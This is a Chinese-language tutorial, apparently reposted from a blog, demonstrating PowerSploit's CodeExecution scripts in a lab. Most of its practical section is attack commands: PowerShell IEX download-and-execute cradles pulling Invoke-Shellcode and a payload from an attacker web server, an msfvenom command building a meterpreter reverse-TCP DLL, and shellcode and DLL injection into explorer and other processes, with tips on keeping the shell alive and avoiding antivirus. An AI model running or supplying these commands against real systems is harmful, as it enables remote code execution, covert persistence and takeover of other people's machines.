PowerSploit-CodeExecution(代碼執行)腳本滲透實戰


首先介紹一下國外大牛制作的Powershell滲透工具PowerSploit,上面有很多powershell攻擊腳本,它們主要被用來滲透中的信息偵察、權限提升、權限維持。

項目地址:https://github.com/PowerShellMafia/PowerSploit


該利器主要分為幾個板塊

一、代碼執行(CodeExecution)

1. Invoke-DllInjection 

2. Invoke-ReflectivePEInjection

3. Invoke-Shellcode

4. Invoke-WmiCommand

二、腳本修改(ScriptModification)

1. Out-EncodedCommand

2. Out-CompressedDll

3. Out-EncryptedScript

4. Remove-Comments

三、權限維持(Persistence)

1. New-UserPersistenceOption

2. New-ElevatedPersistenceOption

3. Add-Persistence

4. Install-SSP

5. Get-SecurityPackages

四、繞過殺毒軟件(AntivirusBypass)

Find-AVSignature

五、信息收集(Exfiltration)

這個文件夾主要是收集目標主機上的信息。

六、信息偵察(Recon)

這個文件夾主要是以目標主機為跳板進行內網主機偵察。

 

總結下就是:

CodeExecution 在目標主機執行代碼

ScriptModification 在目標主機上創建或修改腳本

Persistence 后門腳本(持久性控制)

AntivirusBypass 發現殺軟查殺特征

Exfiltration 目標主機上的信息搜集工具

Mayhem 藍屏等破壞性腳本

Recon 以目標主機為跳板進行內網信息偵查

安裝方法

我們在Linux下首先clone這個git:

git clone https://github.com/PowerShellMafia/PowerSploit.git

然后將clone下的文件放入保證被攻擊機能夠訪問的機器上面,這里我們采用本機,在本機搭建apache環境,將文件放入/var/www/html目錄下即可。
開啟apache服務:

service apache2 start

 


 

 

 

 

 

實戰運用:

 

CodeExecution模塊

a) 調用Invoke-Shellcode將shellcode注入到本地的Powershell。

1)利用msfvenom生成一個反彈木馬,以供invoke-shellcode注入,同樣生成的反彈馬放入web中。

 

2) 調用目標機的powershell進行IEX遠程下載invoke-shellcode腳本和生成的木馬

首先下載腳本

PS C:\Documents and Settings\Administrator> IEX(New-Object Net.Webclient).DownloadString("http://192.168.190.141/PowerSp
loit/CodeExecution/Invoke-Shellcode.ps1")

下載生成好的木馬

PS C:\Users\Administrator> IEX(New-Object Net.Webclient).DownloadString("http://192.168.190.141/code")

 

 3)kali設置msf監聽

 

4)在powershell中調用invoke-shellcode(可通過help命令來查詢具體操作以及例子)。

 

PS C:\Users\Administrator> Invoke-Shellcode -Shellcode $buf -Force

 

 

 

 

 

 

 

b) 調用invoke-shellcode將shellcode注入到指定的進程中。

1)前面步驟和a的步驟一致,唯一不同的就是在最后的命令上,首先,查看我們需要注入的進程,建議可注入到系統的進程,因為一旦進程關閉,那么監聽也將終斷,因此系統進程一般不會被關閉,注意:不能注入到像360等驅動中,不然會被強制關閉。

 比如我要注入explorer這個進程(Windows程序管理器或者文件資源管理器) ,首先要查看該進程的pid

ps -Name explorer

 

 

 

  可以看到id為1228 注入該進程

 

Invoke-Shellcode -Shellcode $buf -ProcessID 1228 -Force

 

注意:和a類似的,若關閉注入的進程,則連接中斷。

 

c) 調用invoke-dllinjection將DLL注入到進程中。

 

1)通過msfvenom生成DLL的反彈木馬,並下載到目標主機中(為了方便,直接將dll文件下載至powershell運行的桌面),在實際環境中,也可以通過該方法進行傳輸dll文件。

 

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.190.141 lport=4444 -f dll -o /var/www/html/code.dll

 

 開啟監聽 注意payload需要和生成的dll執行的payload一致;

 

PS C:\Users\Administrator> IEX(New-Object Net.Webclient).DownloadString("http://192.168.190.141/PowerSploit/CodeExecutio
n/Invoke-DllInjection.ps1")

 

注入

PS C:\Users\Administrator> Invoke-DllInjection -Dll .\code.dll -ProcessID 2700

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM